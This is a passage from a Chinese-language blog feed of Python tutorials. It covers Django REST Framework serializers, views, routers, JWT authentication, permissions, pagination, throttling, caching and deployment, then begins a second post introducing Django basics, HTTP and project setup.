            raise serializers.ValidationError(&quot;标题含敏感词&quot;)
        return value

    # 全局校验：跨字段验证
    def validate(self, attrs):
        if attrs.get(&quot;start&quot;) and attrs.get(&quot;end&quot;):
            if attrs[&quot;start&quot;] &amp;gt; attrs[&quot;end&quot;]:
                raise serializers.ValidationError(&quot;开始时间不能晚于结束时间&quot;)
        return attrs

    class Meta:
        model = Post
        fields = &quot;__all__&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
常用序列化字段：&lt;code&gt;CharField&lt;/code&gt;、&lt;code&gt;IntegerField&lt;/code&gt;、&lt;code&gt;BooleanField&lt;/code&gt;、&lt;code&gt;DateTimeField&lt;/code&gt;、&lt;code&gt;EmailField&lt;/code&gt;、&lt;code&gt;SlugField&lt;/code&gt;、&lt;code&gt;HyperlinkedIdentityField&lt;/code&gt;（生成 URL）。校验器：&lt;code&gt;required&lt;/code&gt;、&lt;code&gt;allow_null&lt;/code&gt;、&lt;code&gt;max_length&lt;/code&gt;、&lt;code&gt;validators&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;三、DRF 视图&lt;/h2&gt;
&lt;p&gt;DRF 提供多个层次的视图，从底层到高层越来越省事。&lt;/p&gt;
&lt;h3&gt;视图类层次&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;APIView（最基础，手写 get/post）
   └── GenericAPIView（增加 queryset/serializer_class）
          └── Mixin + GenericAPIView（组合出增删改查）
                 └── ViewSet（按 action 组织，配合 Router 自动生成路由）
                        └── ModelViewSet（一站式 CRUD）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1. APIView（最灵活）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# blog/views.py
from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import status
from .models import Post
from .serializers import PostSerializer

class PostListView(APIView):
    def get(self, request):                # 处理 GET
        posts = Post.objects.all()
        serializer = PostSerializer(posts, many=True)
        return Response(serializer.data)

    def post(self, request):               # 处理 POST
        serializer = PostSerializer(data=request.data)
        if serializer.is_valid():
            serializer.save()
            return Response(serializer.data, status=status.HTTP_201_CREATED)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. GenericAPIView + Mixin&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from rest_framework import generics, mixins

# 列表 + 创建
class PostList(mixins.ListModelMixin, mixins.CreateModelMixin,
               generics.GenericAPIView):
    queryset = Post.objects.all()
    serializer_class = PostSerializer

    def get(self, request, *args, **kwargs):
        return self.list(request, *args, **kwargs)
    def post(self, request, *args, **kwargs):
        return self.create(request, *args, **kwargs)

# 更简洁：直接用封装好的通用视图
from rest_framework.generics import ListCreateAPIView, RetrieveUpdateDestroyAPIView

class PostListCreate(ListCreateAPIView):        # 列表 + 创建
    queryset = Post.objects.all()
    serializer_class = PostSerializer

class PostDetail(RetrieveUpdateDestroyAPIView): # 详情 + 改 + 删
    queryset = Post.objects.all()
    serializer_class = PostSerializer
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. ViewSet + ModelViewSet（最推荐）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from rest_framework import viewsets
from .models import Post
from .serializers import PostSerializer

# ModelViewSet 一站式提供 list/create/retrieve/update/partial_update/destroy
class PostViewSet(viewsets.ModelViewSet):
    queryset = Post.objects.all()
    serializer_class = PostSerializer

    # 自定义 action（额外接口）
    from rest_framework.decorators import action
    @action(detail=True, methods=[&quot;post&quot;])     # detail=True 针对单个对象
    def publish(self, request, pk=None):
        post = self.get_object()
        post.is_published = True
        post.save()
        return Response({&quot;status&quot;: &quot;已发布&quot;})
    # 访问 /api/posts/1/publish/
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;四、路由器（Router）&lt;/h2&gt;
&lt;p&gt;Router 能根据 ViewSet &lt;strong&gt;自动生成 URL&lt;/strong&gt;，省去手写路由。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# blog/urls.py
from django.urls import path, include
from rest_framework.routers import DefaultRouter
from .views import PostViewSet, CategoryViewSet

router = DefaultRouter()
router.register(&quot;posts&quot;, PostViewSet, basename=&quot;post&quot;)
router.register(&quot;categories&quot;, CategoryViewSet, basename=&quot;category&quot;)

urlpatterns = [
    path(&quot;api/&quot;, include(router.urls)),
]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Router 自动生成的 URL：
GET    /api/posts/          列表（list）
POST   /api/posts/          创建（create）
GET    /api/posts/1/        详情（retrieve）
PUT    /api/posts/1/        更新（update）
PATCH  /api/posts/1/        局部更新（partial_update）
DELETE /api/posts/1/        删除（destroy）
GET    /api/                API 根视图（可浏览的接口首页）
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
DRF 自带&lt;strong&gt;可浏览 API&lt;/strong&gt;（Browsable API）：浏览器访问接口会看到漂亮的 HTML 界面，能直接测试。生产环境可关闭，只保留 JSON。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;五、认证与权限（Day57）&lt;/h2&gt;
&lt;h3&gt;认证方式&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;认证方式&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SessionAuthentication&lt;/td&gt;
&lt;td&gt;基于 Session/Cookie&lt;/td&gt;
&lt;td&gt;传统 Web、同源前后端&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TokenAuthentication&lt;/td&gt;
&lt;td&gt;基于 Token（存数据库）&lt;/td&gt;
&lt;td&gt;简单 API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JWTAuthentication&lt;/td&gt;
&lt;td&gt;基于 JSON Web Token&lt;/td&gt;
&lt;td&gt;前后端分离、移动端（推荐）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BasicAuthentication&lt;/td&gt;
&lt;td&gt;HTTP Basic（用户名密码）&lt;/td&gt;
&lt;td&gt;测试、内部工具&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;# JWT 认证（推荐，用 djangorestframework-simplejwt）
pip install djangorestframework-simplejwt

# settings.py
REST_FRAMEWORK = {
    &quot;DEFAULT_AUTHENTICATION_CLASSES&quot;: [
        &quot;rest_framework_simplejwt.authentication.JWTAuthentication&quot;,
    ],
}

# urls.py（提供获取/刷新 token 的接口）
from rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView
urlpatterns += [
    path(&quot;api/token/&quot;, TokenObtainPairView.as_view()),   # 用账号密码换 token
    path(&quot;api/token/refresh/&quot;, TokenRefreshView.as_view()), # 刷新 token
]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;JWT 流程：
1. 用户 POST /api/token/ 提交账号密码 → 服务器返回 access + refresh token
2. 后续请求在头部带上：Authorization: Bearer &amp;lt;access_token&amp;gt;
3. access 过期后用 refresh token 换新的 access
4. JWT 无状态，服务器不存 session，适合分布式
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;权限控制&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from rest_framework.permissions import IsAuthenticated, IsAdminUser, BasePermission

# 内置权限类
# AllowAny         任何人可访问
# IsAuthenticated  仅登录用户
# IsAdminUser      仅管理员
# IsAuthenticatedOrReadOnly  登录可写，未登录只读

class PostViewSet(viewsets.ModelViewSet):
    queryset = Post.objects.all()
    serializer_class = PostSerializer
    permission_classes = [IsAuthenticatedOrReadOnly]   # 应用权限

# 自定义权限：只有作者能改自己的文章
class IsAuthorOrReadOnly(BasePermission):
    def has_object_permission(self, request, view, obj):
        if request.method in (&quot;GET&quot;, &quot;HEAD&quot;, &quot;OPTIONS&quot;):
            return True                       # 读操作放行
        return obj.author == request.user     # 写操作需是作者
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;六、分页、过滤与限流（Day58）&lt;/h2&gt;
&lt;h3&gt;分页（Pagination）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# settings.py 全局配置
REST_FRAMEWORK = {
    &quot;DEFAULT_PAGINATION_CLASS&quot;: &quot;rest_framework.pagination.PageNumberPagination&quot;,
    &quot;PAGE_SIZE&quot;: 10,
}

# 响应格式：
# { &quot;count&quot;: 100, &quot;next&quot;: &quot;...&quot;, &quot;previous&quot;: null, &quot;results&quot;: [...] }

# 自定义分页类
from rest_framework.pagination import PageNumberPagination, LimitOffsetPagination

class MyPagination(PageNumberPagination):
    page_size = 10
    page_size_query_param = &quot;size&quot;      # 允许客户端指定每页数量 ?size=20
    max_page_size = 100
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;过滤（Filtering）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pip install django-filter
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import django_filters
from .models import Post

class PostFilter(django_filters.FilterSet):
    title = django_filters.CharFilter(lookup_expr=&quot;icontains&quot;)   # 模糊
    min_views = django_filters.NumberFilter(field_name=&quot;views&quot;, lookup_expr=&quot;gte&quot;)

    class Meta:
        model = Post
        fields = [&quot;category&quot;, &quot;is_published&quot;]

class PostViewSet(viewsets.ModelViewSet):
    queryset = Post.objects.all()
    serializer_class = PostSerializer
    filter_backends = [DjangoFilterBackend, SearchFilter, OrderingFilter]
    filterset_class = PostFilter                 # 精确/自定义过滤
    search_fields = [&quot;title&quot;, &quot;content&quot;]         # ?search=关键词
    ordering_fields = [&quot;views&quot;, &quot;created_at&quot;]    # ?ordering=-views
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;限流（Throttling）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# settings.py：防止接口被刷
REST_FRAMEWORK = {
    &quot;DEFAULT_THROTTLE_CLASSES&quot;: [
        &quot;rest_framework.throttling.AnonRateThrottle&quot;,   # 匿名用户
        &quot;rest_framework.throttling.UserRateThrottle&quot;,   # 登录用户
    ],
    &quot;DEFAULT_THROTTLE_RATES&quot;: {
        &quot;anon&quot;: &quot;100/hour&quot;,        # 匿名每小时 100 次
        &quot;user&quot;: &quot;1000/day&quot;,        # 用户每天 1000 次
    },
}
# 超限返回 429 Too Many Requests
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;七、缓存与性能优化&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# Django 缓存（Redis 为例）
CACHES = {
    &quot;default&quot;: {
        &quot;BACKEND&quot;: &quot;django_redis.cache.RedisCache&quot;,
        &quot;LOCATION&quot;: &quot;redis://127.0.0.1:6379/1&quot;,
    }
}

# 视图级缓存
from django.views.decorators.cache import cache_page

@cache_page(60 * 15)              # 缓存 15 分钟
def index(request):
    ...

# 手动缓存
from django.core.cache import cache
cache.set(&quot;key&quot;, value, timeout=60)
value = cache.get(&quot;key&quot;, default=None)
cache.delete(&quot;key&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;性能优化清单：
1. 用 select_related / prefetch_related 消除 N+1 查询
2. 只查需要的字段：.only(&quot;title&quot;) / .defer(&quot;content&quot;) / .values()
3. 热点数据上缓存（Redis），减少数据库压力
4. 数据库加索引（见上一篇 MySQL 索引）
5. 静态文件交给 Nginx/CDN，不走 Django
6. 用 Debug Toolbar / silk 定位慢查询
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;八、部署上线（Day59-60）&lt;/h2&gt;
&lt;p&gt;开发用的 &lt;code&gt;runserver&lt;/code&gt; 不能上生产，需要专业的 WSGI 服务器 + Nginx。&lt;/p&gt;
&lt;h3&gt;部署架构&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;用户 → Nginx（反向代理/静态文件/负载均衡）
         ├── 静态文件（css/js/img）直接返回
         └── 动态请求 → Gunicorn/uWSGI（WSGI 服务器）→ Django 应用 → 数据库
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Gunicorn（推荐，简单高效）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pip install gunicorn

# 启动（4 个 worker，绑定 8000 端口）
gunicorn mysite.wsgi:application -w 4 -b 127.0.0.1:8000

# 常用参数
-w 4                    # worker 进程数（一般 = CPU 核数 * 2 + 1）
-b 127.0.0.1:8000       # 绑定地址端口
--daemon                # 后台运行
--access-logfile -      # 访问日志输出到标准输出
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;uWSGI（功能强大）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pip install uwsgi
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# mysite_uwsgi.ini
[uwsgi]
socket = 127.0.0.1:8000       # 与 Nginx 通信用 socket
chdir = /path/to/mysite       # 项目目录
module = mysite.wsgi          # WSGI 模块
master = true                 # 主进程
processes = 4                 # 进程数
threads = 2                   # 每进程线程数
vacuum = true                 # 退出清理
daemonize = /var/log/uwsgi.log
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Nginx 配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;server {
    listen 80;
    server_name example.com;

    # 静态文件由 Nginx 直接处理（高性能）
    location /static/ {
        alias /path/to/mysite/static/;
    }

    # 动态请求转发给 Gunicorn
    location / {
        proxy_pass http://127.0.0.1:8000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;上线检查清单&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;□ settings.py 中 DEBUG = False（生产必关！否则泄露敏感信息）
□ 配置 ALLOWED_HOSTS = [&apos;example.com&apos;, &apos;www.example.com&apos;]
□ 用环境变量管理 SECRET_KEY、数据库密码（不硬编码）
□ python manage.py collectstatic 收集静态文件
□ 生产数据库用 PostgreSQL/MySQL，不用 SQLite
□ 配置 HTTPS（Let&apos;s Encrypt 免费证书）
□ 用 systemd / supervisor 守护 Gunicorn 进程
□ 配置数据库定时备份
□ 开启日志监控（错误告警）
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
生产环境&lt;strong&gt;必须 &lt;code&gt;DEBUG = False&lt;/code&gt;&lt;/strong&gt; 并正确配置 &lt;code&gt;ALLOWED_HOSTS&lt;/code&gt;。&lt;code&gt;DEBUG=True&lt;/code&gt; 会在报错页面暴露源码、数据库配置、密钥等敏感信息，是严重安全隐患。&lt;code&gt;SECRET_KEY&lt;/code&gt; 要用环境变量注入，绝不提交到代码仓库。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：DRF 和直接用 Django 写 JSON 接口有什么区别？&lt;/strong&gt;
A：Django 原生要手动序列化、校验、处理认证。DRF 提供了 Serializer（自动序列化+校验）、ViewSet（自动 CRUD）、Router（自动路由）、认证权限限流分页等一整套组件，写 API 快得多，也更规范。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：JWT 和 Session 认证怎么选？&lt;/strong&gt;
A：Session 需要服务器存状态，多机部署要用 Redis 共享 Session，适合传统 Web；JWT 无状态（信息在 token 里），天然适合分布式、前后端分离、移动端。缺点是 JWT 难以主动失效（需配合黑名单）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：&lt;code&gt;@action&lt;/code&gt; 是干什么的？&lt;/strong&gt;
A：给 ViewSet 添加&lt;strong&gt;自定义接口&lt;/strong&gt;（超出标准 CRUD 的操作）。&lt;code&gt;detail=True&lt;/code&gt; 针对单个对象（URL 带 pk，如 &lt;code&gt;/posts/1/publish/&lt;/code&gt;），&lt;code&gt;detail=False&lt;/code&gt; 针对列表（如 &lt;code&gt;/posts/hot/&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：序列化器里 &lt;code&gt;read_only&lt;/code&gt; 和 &lt;code&gt;write_only&lt;/code&gt; 有什么用？&lt;/strong&gt;
A：&lt;code&gt;read_only&lt;/code&gt; 字段只输出不接收（如 &lt;code&gt;created_at&lt;/code&gt;、计算字段）；&lt;code&gt;write_only&lt;/code&gt; 字段只接收不输出（如密码 &lt;code&gt;password&lt;/code&gt;，避免泄露）。控制字段在序列化/反序列化时的行为。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：ViewSet 和 GenericAPIView 怎么选？&lt;/strong&gt;
A：ViewSet（尤其 ModelViewSet）配合 Router 自动生成全套 CRUD 路由，最省事，适合标准资源接口；GenericAPIView 更细粒度可控。简单 CRUD 用 ModelViewSet，有特殊逻辑用 APIView/GenericAPIView。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：限流（Throttle）和缓存有什么区别？&lt;/strong&gt;
A：限流是&lt;strong&gt;保护&lt;/strong&gt;——限制单位时间请求次数，防止接口被刷爆（返回 429）；缓存是&lt;strong&gt;加速&lt;/strong&gt;——把结果存起来复用，减少重复计算/查询。两者常配合：热点数据缓存 + 全局限流。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q7：&lt;code&gt;collectstatic&lt;/code&gt; 做了什么？&lt;/strong&gt;
A：把各个 App 和第三方库的静态文件（css/js/img）统一收集到 &lt;code&gt;STATIC_ROOT&lt;/code&gt; 目录，方便 Nginx/CDN 集中托管。生产部署必做，否则静态文件 404。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;Django 进阶与 DRF 速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;REST 原则&lt;/strong&gt;：资源用名词、HTTP 方法表达操作、JSON 交换、无状态&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;序列化器&lt;/strong&gt;：ModelSerializer 做对象↔JSON 转换 + 校验；&lt;code&gt;is_valid()&lt;/code&gt; + &lt;code&gt;save()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;read/write_only&lt;/strong&gt;：控制字段输入输出；&lt;code&gt;validate_&amp;lt;field&amp;gt;&lt;/code&gt; 单字段校验，&lt;code&gt;validate&lt;/code&gt; 全局校验&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;视图层次&lt;/strong&gt;：APIView → GenericAPIView → Mixin → ViewSet → ModelViewSet（越高层越省事）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Router&lt;/strong&gt;：为 ViewSet 自动生成 CRUD 路由；&lt;code&gt;@action&lt;/code&gt; 加自定义接口&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证&lt;/strong&gt;：Session/Token/JWT；前后端分离首选 JWT（&lt;code&gt;Authorization: Bearer &amp;lt;token&amp;gt;&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权限&lt;/strong&gt;：IsAuthenticated/IsAdminUser；自定义 &lt;code&gt;has_object_permission&lt;/code&gt;（如仅作者可改）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分页过滤限流&lt;/strong&gt;：PageNumberPagination、django-filter（search/ordering）、Throttle（429）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能&lt;/strong&gt;：select_related/prefetch_related、only/defer、Redis 缓存、索引&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;部署&lt;/strong&gt;：Nginx（静态+反代）→ Gunicorn/uWSGI → Django；生产 &lt;code&gt;DEBUG=False&lt;/code&gt; + &lt;code&gt;ALLOWED_HOSTS&lt;/code&gt; + 环境变量密钥 + collectstatic&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-11-web-scraping/&quot;&gt;网络爬虫&lt;/a&gt; 将讲解爬虫原理与反爬应对、requests 与 BeautifulSoup 解析、正则与 XPath 提取、Selenium 处理动态页面、Scrapy 框架以及爬虫数据处理与合规。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Django 入门</title><link>http://117.72.32.87/blog/posts/python-roadmap-09-django-basics/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-09-django-basics/</guid><description>Django Web 框架入门：Web 与 HTTP 基础、项目结构与 MVT 模式、URL/视图/模板、ORM 模型与 CRUD、Admin 后台、静态资源与 Ajax、Cookie 与 Session、报表与日志、中间件应用。</description><pubDate>Fri, 18 Sep 2026 05:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day46~52&lt;/strong&gt;：Django 快速上手、深入模型、静态资源与 Ajax、Cookie 与 Session、报表与日志、调试工具栏、中间件应用。Django 是 Python 最主流的全功能 Web 框架，&quot;batteries included&quot;（自带电池），掌握它能快速开发企业级网站。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、Web 应用与 HTTP 基础&lt;/h2&gt;
&lt;p&gt;在学框架前，先搞懂 Web 是怎么工作的。&lt;/p&gt;
&lt;h3&gt;请求-响应模型（B/S 架构）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;浏览器（Client）  ──HTTP 请求──▶  服务器（Server）
                 ◀──HTTP 响应──
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Web 应用是 &lt;strong&gt;B/S（Browser/Server）架构&lt;/strong&gt;，浏览器和服务器通过 &lt;strong&gt;HTTP 协议&lt;/strong&gt;通信。HTTP 是&lt;strong&gt;无状态&lt;/strong&gt;的——每次请求相互独立，服务器默认不记得&quot;你是谁&quot;，这就是后面 Cookie/Session 存在的原因。&lt;/p&gt;
&lt;h3&gt;HTTP 请求方法&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方法&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;th&gt;幂等&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;GET&lt;/td&gt;
&lt;td&gt;获取资源（查询）&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;POST&lt;/td&gt;
&lt;td&gt;创建资源（提交表单）&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PUT&lt;/td&gt;
&lt;td&gt;更新资源（整体替换）&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PATCH&lt;/td&gt;
&lt;td&gt;局部更新&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DELETE&lt;/td&gt;
&lt;td&gt;删除资源&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;一个 HTTP 请求包含：
- 请求行：GET /index.html HTTP/1.1（方法 + 路径 + 协议版本）
- 请求头：Host、User-Agent、Cookie、Content-Type 等
- 请求体：POST/PUT 的数据（表单或 JSON）

一个 HTTP 响应包含：
- 状态行：HTTP/1.1 200 OK（协议 + 状态码 + 描述）
- 响应头：Content-Type、Content-Length、Set-Cookie 等
- 响应体：HTML/JSON/文件内容
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常见状态码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;2xx 成功：200 OK、201 Created、204 No Content
3xx 重定向：301 永久重定向、302 临时重定向、304 Not Modified（缓存）
4xx 客户端错误：400 请求错误、401 未认证、403 无权限、404 找不到
5xx 服务器错误：500 内部错误、502 网关错误、503 服务不可用
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;二、Django 概述与安装&lt;/h2&gt;
&lt;h3&gt;什么是 Django&lt;/h3&gt;
&lt;p&gt;Django 是高级 Python Web 框架，遵循 &lt;strong&gt;MVT&lt;/strong&gt; 模式，自带 ORM、Admin 后台、认证系统、表单处理、模板引擎等，让开发者专注于业务而非重复造轮子。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;组件&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Models（模型）&lt;/td&gt;
&lt;td&gt;数据结构，对应数据库表，通过 ORM 操作&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Views（视图）&lt;/td&gt;
&lt;td&gt;业务逻辑，接收请求、处理、返回响应&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Templates（模板）&lt;/td&gt;
&lt;td&gt;页面展示，HTML + Django 模板语法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;URLs（路由）&lt;/td&gt;
&lt;td&gt;把 URL 映射到视图函数&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;strong&gt;MVC vs MVT&lt;/strong&gt;：传统 MVC 是 Model-View-Controller。Django 里 View 相当于 Controller（业务逻辑），Template 相当于 View（展示）。整体框架（URL 分发）充当 Controller。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;安装与创建项目&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 安装 Django
pip install django

# 查看版本
django-admin --version

# 创建项目（会生成一个项目目录）
django-admin startproject mysite
cd mysite

# 创建应用（一个项目可有多个应用）
python manage.py startapp blog

# 数据库迁移
python manage.py migrate

# 创建超级管理员（用于登录 Admin 后台）
python manage.py createsuperuser

# 启动开发服务器（默认 8000 端口）
python manage.py runserver
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;项目结构&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;mysite/
├── manage.py              # 项目管理命令入口
├── mysite/                # 项目配置目录
│   ├── __init__.py
│   ├── settings.py        # 全局配置（数据库、应用、中间件）
│   ├── urls.py            # 根路由
│   ├── asgi.py            # ASGI 入口（异步）
│   └── wsgi.py            # WSGI 入口（同步）
└── blog/                  # 应用目录
    ├── __init__.py
    ├── admin.py           # Admin 后台注册
    ├── apps.py            # 应用配置
    ├── models.py          # 数据模型
    ├── views.py           # 视图
    ├── urls.py            # 应用路由（需自己创建）
    ├── tests.py           # 测试
    └── migrations/        # 数据库迁移记录
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;三、第一个 Django 视图（Day46 五分钟上手）&lt;/h2&gt;
&lt;h3&gt;编写视图&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# blog/views.py
from django.http import HttpResponse

def index(request):
    &quot;&quot;&quot;最简单的视图：返回一个 HttpResponse&quot;&quot;&quot;
    return HttpResponse(&quot;Hello, Django!&quot;)

def detail(request, post_id):
    &quot;&quot;&quot;带参数的视图：从 URL 取参数&quot;&quot;&quot;
    return HttpResponse(f&quot;文章详情，ID = {post_id}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;配置路由&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# blog/urls.py（应用级路由，需自己创建）
from django.urls import path
from . import views

app_name = &quot;blog&quot;      # 命名空间，用于反向解析

urlpatterns = [
    path(&quot;&quot;, views.index, name=&quot;index&quot;),               # 访问 /blog/
    path(&quot;&amp;lt;int:post_id&amp;gt;/&quot;, views.detail, name=&quot;detail&quot;), # 访问 /blog/1/
]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# mysite/urls.py（根路由，包含应用路由）
from django.contrib import admin
from django.urls import path, include

urlpatterns = [
    path(&quot;admin/&quot;, admin.site.urls),
    path(&quot;blog/&quot;, include(&quot;blog.urls&quot;)),   # 把 blog 应用的路由挂到 /blog/ 下
]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;注册应用与配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# mysite/settings.py
INSTALLED_APPS = [
    &quot;django.contrib.admin&quot;,
    &quot;django.contrib.auth&quot;,
    &quot;django.contrib.contenttypes&quot;,
    &quot;django.contrib.sessions&quot;,
    &quot;django.contrib.messages&quot;,
    &quot;django.contrib.staticfiles&quot;,
    &quot;blog&quot;,                    # 注册自己的应用
]

# 数据库配置（默认 SQLite，可换成 MySQL）
DATABASES = {
    &quot;default&quot;: {
        &quot;ENGINE&quot;: &quot;django.db.backends.sqlite3&quot;,
        &quot;NAME&quot;: BASE_DIR / &quot;db.sqlite3&quot;,
    }
}
